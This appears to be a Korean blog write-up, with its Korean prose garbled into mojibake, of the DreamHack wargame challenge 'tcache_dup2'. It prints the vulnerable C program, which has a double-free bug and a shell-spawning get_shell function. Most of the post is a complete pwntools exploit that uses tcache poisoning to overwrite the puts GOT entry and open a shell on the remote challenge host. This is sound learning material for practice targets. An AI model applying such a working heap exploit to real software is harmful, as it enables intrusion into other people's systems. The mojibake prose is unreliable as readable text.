
[ํผ์์ค์ต] Double Free Bug
Tcache_dup2
์ฃผ์ด์ง c ์ฝ๋๋ ๋ค์๊ณผ ๊ฐ๋ค.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
char *ptr[7];
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
void create_heap(int idx) {
size_t size;
if( idx >= 7 )
exit(0);
printf("Size: ");
scanf("%ld", &size);
ptr[idx] = malloc(size);
if(!ptr[idx])
exit(0);
printf("Data: ");
read(0, ptr[idx], size-1);
}
void modify_heap() {
size_t size, idx;
printf("idx: ");
scanf("%ld", &idx);
if( idx >= 7 )
exit(0);
printf("Size: ");
scanf("%ld", &size);
if( size > 0x10 )
exit(0);
printf("Data: ");
read(0, ptr[idx], size);
}
void delete_heap() {
size_t idx;
printf("idx: ");
scanf("%ld", &idx);
if( idx >= 7 )
exit(0);
if( !ptr[idx] )
exit(0);
free(ptr[idx]);
}
void get_shell() {
system("/bin/sh");
}
int main() {
int idx;
int i = 0;
initialize();
while(1) {
printf("1. Create heap\n");
printf("2. Modify heap\n");
printf("3. Delete heap\n");
printf("> ");
scanf("%d", &idx);
switch(idx) {
case 1:
create_heap(i);
i++;
break;
case 2:
modify_heap();
break;
case 3:
delete_heap();
break;
default:
break;
}
}
}
get_shell() ํจ์๊ฐ ์๋ ๊ฑธ ํ์ธํ ์ ์๊ณ (์ด๋ฅผ ์ด์ฉํด์ ์ ธ์ ์ฃผ์๋ฅผ ๊ฐ์ ธ์ค๋ฉด ๋ ๋ฏํ๋ค)
delete_heap()ํจ์์์ free๋ฅผ ํด์ค ๋ค์ ์ด๊ธฐํ๋ฅผ ์ํด์ฃผ์๊ธฐ ๋๋ฌธ์ Double Free Bug ์ทจ์ฝ์ ์ด ๋ฐ์ํ ๊ฒ์ผ๋ก ๋ณด์ธ๋ค.
์ฒ์์ checksec๋ฅผ ์ฌ์ฉํด์ ๋ณดํธ ๊ธฐ๋ฒ์ ํ์ธํด๋ดค๋๋ฐ ๋ฌธ์ ์ ๋์์๋ ๋ฐ์ ๋ฌ๋ผ์ ์์ ํด์ฃผ์๋ค
Full RELRO → Partial RELRO
Canary found → No canary found
PIE enabled → No PIE
๊ตฌ๊ธ๋ง์ ํด๋ณด๋ ํด๋น ์ฝ๋๋ p64() ํจ์๋ก byteํ ํ์ด๋ก๋๋ฅผ ๋ง๋ค๊ณ ์ด๋ฅผ ํจ์๋ฅผ ํตํด strํ์ผ๋ก ์ ์กํ๊ฑฐ๋ str๋ก ๋ฐ๊พธ๊ณ ๋ค์ byte๋ก ์ธ์ฝ๋ฉํด์ ์ ์กํ ๊ฒฝ์ฐ ์ ์กํ ๋ฐ์ดํฐ์ ๋ค๋ฅธ ๋ฐ์ดํฐ๊ฐ ์ฐํ๋ค๋ ๊ฑธ ์๊ฒ๋์๋ค.
๋ฐ๋ผ์
create(0x10, p64(puts_got))
create(0x10, p64(get_shell์ฃผ์))
๋ถ๋ถ์
p.sendlineafter(">", "1")
p.sendlineafter(":", "16")
p.sendlineafter(":", p64(puts_got))
์ด์ ๊ฐ์ด ์๋์ผ๋ก ๋ฐ๊ฟ์ฃผ์๋ค.
์์ฑํ ์ต์คํ๋ก์ ์ฝ๋๋ ๋ค์๊ณผ ๊ฐ๋ค.
from pwn import *
p = remote("host1.dreamhack.games", 11801)
e = ELF("./tcache_dup2")
def create(size, data):
p.sendlineafter(">", "1")
p.sendlineafter(":", str(size))
p.sendlineafter(":", str(data))
def modify(idx, size, data):
p.sendlineafter(">", "2")
p.sendlineafter(":", str(idx))
p.sendlineafter(":", str(size))
p.sendafter(":", str(data))
def delete(idx):
p.sendlineafter(">", "3")
p.sendlineafter(":", str(idx))
puts_got = e.got["puts"]
get_shell = e.symbols["get_shell"]
create(0x10, "A"*0x8)
create(0x10, "A"*0x8)
create(0x10, "A"*0x8)
delete(0)
delete(1)
delete(2)
modify(2, 0x10, "A"*0x8 + "\x00")
delete(2)
p.sendlineafter(">", "1")
p.sendlineafter(":", "16")
p.sendlineafter(":", p64(puts_got))
create(0x10, "A"*0x8)
p.sendlineafter(">", "1")
p.sendlineafter(":", "16")
p.sendlineafter(":", p64(get_shell))
p.interactive()
์คํํ๋ ๋ค์๊ณผ ๊ฐ์ด ํ๋๊ทธ๋ฅผ ์ป์ ์ ์์๋ค.
'DreamHack > SystemHacking' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[DreamHack System Hacking] Master Canary (1) | 2022.09.19 |
---|---|
[System Hacking] 2์ฃผ์ฐจ dreamhack stage 12 - (5) (0) | 2022.05.01 |
[System Hacking] 2์ฃผ์ฐจ dreamhack stage 12 - (3) (0) | 2022.04.30 |
[System Hacking] 2์ฃผ์ฐจ dreamhack stage 12 - (2) (0) | 2022.04.30 |
[System Hacking] 2์ฃผ์ฐจ dreamhack stage 12 - (1) (0) | 2022.04.08 |